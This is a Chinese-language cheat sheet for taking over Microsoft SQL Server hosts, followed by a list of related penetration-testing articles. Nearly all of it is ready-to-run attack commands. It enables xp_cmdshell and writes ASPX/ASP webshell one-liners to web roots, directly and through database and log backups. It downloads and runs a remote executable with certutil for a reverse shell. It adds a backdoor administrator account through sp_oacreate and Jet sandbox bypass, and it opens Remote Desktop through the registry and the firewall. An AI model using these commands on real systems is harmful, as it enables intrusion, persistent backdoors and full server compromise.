mssql-getshell

来源:独自等待知乎github

xp_cmdshell

第一种:在SQL Server 2005之前版本中,xp_cmdshell是默认开启的,因此可以直接利用,执行系统命令

  1. exec master..xp_cmdshell 'whoami';

第二种:先判断是否存在xp_cmdshell存储过程,返回1表示存在,否则表示不存在

  1. select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell';

xp_cmdshell是有可能被管理员手动删除的(尤其是SQL Server2005之前默认开启的版本),以下是删除xp_cmdshell的命令:

  1. exec master..sp_dropextendedproc xp_cmdshell;

当然,即使xp_cmdshell被删除,也是有办法恢复xp_cmdshell的:

  1. exec master..xp_dropextendedproc xp_cmdshell,@dllname='xplog70.dll' declare @o int;

注意:再丧心病狂的管理员,可能连xplog70.dll文件都删除,因此需要手动删除该文件,然后使用绝对路径引用即可:

  1. exec master.dbo.sp_addextendedproc xp_cmdshell,@dllname='xplog70.dll的文件绝对路径' declare @o int;

在SQL Server 2005之后的版本中,xp_cmdshell是默认关闭的,因此需要手动开启,但是开启xp_cmdshell需要sa权限,所以还是比较苛刻的

  1. # 允许修改高级参数
  2. exec sp_configure 'show advanced options',1;
  3. # 配置生效
  4. RECONFIGURE;
  5. # 开启xp_cmdshell
  6. exec sp_configure 'xp_cmdshell',1;
  7. # 配置生效
  8. RECONFIGURE;

检查xp_cmdshell是否开启

  1. exec sp_configure;

执行系统命令

  1. exec master..xp_cmdshell 'whoami';

获取webshell,此处注意><符号的转义,网页编码和数据库编码一般是相同的,中文一般都要URL编码

  1. exec master..xp_cmdshell 'echo ^<%@ Page Language="Jscript"%^>^<%eval(Request.Item["pass"],"unsafe");%^> > c:\\WWW\\233.aspx'

获取webshell,通过windows的多种cmd下载文件的方式,下载远程的可执行文件,通过该方式可用于反弹shell

  1. # 下载恶意程序
  2. exec master.dbo.xp_cmdshell 'cd c:\\www & certutil -urlcache -split -f http://ip/file.exe';
  3. 执行程序
  4. exec master.dbo.xp_cmdshell 'cd c:\\www & file.exe';

使用结束后,可自行关闭xp_cmdshell

  1. # 开启高级选项
  2. exec sp_configure 'show advanced options',1;
  3. # 配置生效
  4. RECONFIGURE;
  5. # 关闭xp_cmdshell
  6. exec sp_configure 'xp_cmdshell',0;
  7. # 配置生效
  8. RECONFIGURE;

数据库差异备份getshell

备份拿shell算是常见,但往往备份后包含木马的文件很大。

注意:目标路径必须有写权限

  1. # 查看要创建的临时表是否被占用
  2. IF EXISTS(select table_name from information_schema.tables where table_name='temp') drop table temp;
  3. # 将数据库备份至文件中
  4. backup database db_name to disk = "目标文件路径.bak";
  5. # 创建临时表
  6. create table test (a image);
  7. # 写入木马
  8. insert into test(a) values(0x3C25657865637574652872657175657374282261222929253E);
  9. # 重新备份,木马写入文件
  10. backup database db_name to disk = '目标文件路径.asp' with differential,format;

日志差异备份getshell

可不需要sa权限,如果不能备份,可能是访问权限问题,可切换目录尝试;如果临时表存在也可能导致失败,可先判断临时表是否存在,再尝试。

条件:

  1. 数据库之前备份过
  2. 恢复模式是完整模式
  3. 目标路径有写权限
  1. # 查看要创建的临时表是否被占用
  2. IF EXISTS(select table_name from information_schema.tables where table_name='temp') drop table temp;
  3. # 将数据库的恢复模式设置为完整模式
  4. alter database db_name set RECOVERY FULL;
  5. # 创建临时表
  6. create table temp (a image);
  7. # 备份数据库日志,并写入文件中
  8. backup log db_name to disk = '任意绝对路径.bak' with init;
  9. # 在临时表中插入木马字符串
  10. insert into temp (a) values (0x3C25657865637574652872657175657374282261222929253E);
  11. # 将含有木马字符串的日志备份写入文件中
  12. backup log db_name to disk = '木马的绝对路径.aspx';

sp_oacreate

当xp_cmdshell被删除时,可以尝试使用这个来提权

原理

  1. 利用OLE对象接口,SQL Server提供了一些函数访问OLE对象,分别是sp_oacreatesp_oamethod,可利用它们调用OLE控件,间接获取一个shell

预准备工作

检查OLE Automation Procedures状态

  1. exec sp_configure 'Ole Automation Procedures';

如果config_value和run_value都为0,表示禁用

启用OLE Automation Procedures

  1. # 允许修改高级参数
  2. exec sp_configure 'show advanced options',1;
  3. # 配置生效
  4. reconfigure;
  5. # 开启Ole Automation Procedures
  6. exec sp_configure 'Ole Automation Procedures',1;
  7. # 配置生效
  8. reconfigure;
  9. # 关闭高级参数
  10. exec sp_configure 'show advanced options',0;

wscript.shell

在SQL Server 2008和SQL Server 2000上都适用

  1. # 声明一个变量
  2. declare @shell int;
  3. # 使用sp_oacreate调用wscript对象
  4. exec sp_oacreate 'wscript.shell',@shell output;
  5. # 使用sp_oamethod调用变量的属性run执行系统命令
  6. exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user test test /add';

整合一下:添加用户 test/test

  1. declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user test test /add'

整合一下:添加用户到管理员组

  1. declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators test /add'

Shell.Application

SQL Server 2008不可用,SQL Server 2000可用

整合一下:添加用户 test/test

  1. declare @o int;
  2. exec sp_oacreate 'Shell.Application', @o out;
  3. exec sp_oamethod @o, 'ShellExecute',null, 'cmd.exe','cmd /c net user test test /add','c:\windows\system32','','1';

sp_makewebtask

SQL Server2008不可用,SQL Server2000可用(未验证)

恢复xp_makewebtask存储过程

  1. exec sp_configure 'Web Assistant Procedures', 1;
  2. RECONFIGURE;

getshell

  1. exec sp_makewebtask 'C:\test1.php','select''<%execute(request("SB"))%>''';

沙盒模式

只有windows xp和windows 2003可用

启用Ad Hoc Distributed Queries

  1. exec sp_configure 'show advanced options',1;
  2. reconfigure;
  3. exec sp_configure 'Ad Hoc Distributed Queries',1;
  4. reconfigure

关闭沙盒模式

0:在任何使用者中禁用启用安全模式

1:仅在允许范围内

2:必须在access模式下

3:完全开启

  1. exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',0;

读取SandBoxMode[可选]

  1. exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode';

执行系统命令:添加用户 test/test

  1. select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\windows\system32\ias\ias.mdb','select shell("cmd.exe /c net user test test /add")');
  2. select * from
  3. openrowset('microsoft.jet.oledb.4.0',';database=c:\windows\system32\ias\ias.mdb','select
  4. shell("cmd.exe /c whoami")')

mssql-远程桌面

  1. 是否开启远程桌面,1表示关闭,0表示开启

    1. exec master..xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server','fDenyTSConnections'
  2. 读取远程桌面端口

    1. EXEC master..xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal
    2. Server\WinStations\RDP-Tcp','PortNumber'
  3. 开启远程桌面

    1. EXEC master.dbo.xp_regwrite'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server','fDenyTSConnections','REG_DWORD',0;
  4. reg文件开启远程桌面

    1. Windows Registry Editor Version 5.00HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal
    2. Server]"fDenyTSConnections"=dword:00000000[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal
    3. Server\WinStations\RDP-Tcp]"PortNumber"=dword:00000d3d

    保存至1.reg,执行regedit /s 1.reg,即可开启远程桌面

    注意:如果是第一次开启远程桌面,部分需要配置防火墙规则允许远程端口

    1. netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow
  5. 关闭远程桌面

    1. EXEC master.dbo.xp_regwrite'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server','fDenyTSConnections','REG_DWORD',1;

MSSQL渗透测试的更多相关文章

  1. 详述MSSQL服务在渗透测试中的利用(上篇)

    前言: 致力于复现最实用的漏洞利用过程. 本文将带领大家学习以下内容: 学习使用`xp_cmdshell`扩展存储过程 学习调用`wscript.shell` 学习MSSQL写文件 学习沙盘模式提权 ...

  2. 渗透测试学习 九、 MSsql注入上

    MSsql注入漏洞详解 (Asp.Aspx站,常见于棋牌网站.考试网站.大学网站.政府网站.游戏网站.OA办公系统) 大纲:msSQL数据库调用分析 msSQL注入原理 msSQL注入另类玩法 msS ...

  3. KALI LINUX WEB 渗透测试视频教程—第十九课-METASPLOIT基础

    原文链接:Kali Linux Web渗透测试视频教程—第十九课-metasploit基础 文/玄魂 目录 Kali Linux Web 渗透测试视频教程—第十九课-metasploit基础..... ...

  4. Kali Linux Web 渗透测试视频教程— 第十三课-密码破解

    Kali Linux Web 渗透测试— 第十三课-密码破解 文/玄魂 目录 Kali Linux Web 渗透测试— 第十三课-密码破解............................... ...

  5. metasploit渗透测试笔记(内网渗透篇)

    x01 reverse the shell File 通常做法是使用msfpayload生成一个backdoor.exe然后上传到目标机器执行.本地监听即可获得meterpreter shell. r ...

  6. 读书笔记 ~ Nmap渗透测试指南

    记录Nmap选项及脚本使用,仅供参考... 除了端口扫描,好像其它脚本都比较鸡肋,用途感觉应该没有专用的小工具好用,不过还是可以看看,选项和脚本还是相当的丰富的. Nmap 使用帮助 starnigh ...

  7. Nmap渗透测试使用方法

    Nmap渗透测试使用方法 目标选择2 端口选择2 操作系统和服务检测2 Nmap输出格式2 用NSE脚本深入挖掘2 HTTP服务信息3 检测SSL漏洞问题的主机3 设备扫描3 按VNC扫描5 按SMB ...

  8. Web渗透测试流程

    什么是渗透测试? 渗透测试 (penetration test)并没有一个标准的定义,国外一些安全组织达成共识的通用说法是:渗透测试是通过模拟恶意黑客的攻击方法,来评估计算机网络系统安全的一种评估方法 ...

  9. 渗透测试学习 十三、 SQLmap使用详解

    SQLmap介绍 sqlmap是一个由python语言编写的开源的渗透测试工具,它主要是检测SQL注入漏洞,是一款功能强大的SQL漏洞检测利用工具. 他可以检测的数据库有:access.msSQL.M ...

随机推荐

  1. 零基础了解Python的用途

    在我们学习Python之前,我们肯定首先要了解Python它到底是什么,Python到底可以做什么?当然对于现在的社会来讲Python的热度毋庸置疑,现在国内,不仅考国家二级计算机证需要学习Pytho ...

  2. 如何解决 An error occured executing the Microsoft VC+runtime installer

    安装 postgresql 时遇见了 这个问题 There  has been an error.An error occured executing the Microsoft VC+ runtim ...

  3. centos7下SVN服务器搭建

    1,安装 yum install subversion 2,输入rpm -ql subversion查看安装位置 3,创建svn版本库目录 mkdir -p /var/svn/svnrepos 4,创 ...

  4. 涨知识的一个pwn题:de1ctf_2019_weapon

    没做出来,wtcl,看了师傅们的wp才找到思路,收获了很多 怎么说呢,这个题很简单但是很巧妙,逆起来几乎无难度 漏洞点位于free函数,一个简单的UAF漏洞 然后接下来说说我一开始的思路 由于程序没有 ...

  5. R语言学习-(金融数据获取和简单的分析)

    利用R语言中的quantmod包和fBasics对股票数据的获取和简要的分析, 通过获取的数据进行典型图像绘制,使用JB正态性检验来检验是否服从于正态分布. 前提概要:quantmod 包默认是访问 ...

  6. 前端在开发过程中怎么提高网站的seo?

    前端开发过程中怎么提高网站的seo? 到写这篇博客为止,我还没有做过需要做seo的项目,也不知道怎么前后端合作(我才毕业工作一年左右,往后会多去学习这方面知识的),通过一些配置来提高网站的seo性能. ...

  7. D. Maximum Distributed Tree 解析(思維、DFS、組合、貪心、DP)

    Codeforce 1401 D. Maximum Distributed Tree 解析(思維.DFS.組合.貪心.DP) 今天我們來看看CF1401D 題目連結 題目 直接看原題比較清楚,略. 前 ...

  8. 活动可视化搭建系统——你的KPI被我承包了

    前言 对于C端业务偏多的公司来说,在增长.运营等各方同学的摧残下永远绕不过去的一个坑就是大量的H5页面开发,它可能是一个下载.需求告知.产品介绍.营销活动等页面.此类需求都有几个明显的缺点: •开发性 ...

  9. 4G DTU的数据透传功能如何实现

    准备将众山科技4G DTU进行数据透传之前,先将电脑串口连接到4G DTU串口上.如果是没有硬件串口的电脑,可以通过USB转RS232串口转换线进行连接. 连接成功后,按照说明书中提供的初始参数进行设 ...

  10. Vmware - 安装并启动 Centos 7

    下载 Linux 安装包 http://mirrors.aliyun.com/centos/7.8.2003/isos/x86_64/ 不同版本的 Centos https://mirrors.ali ...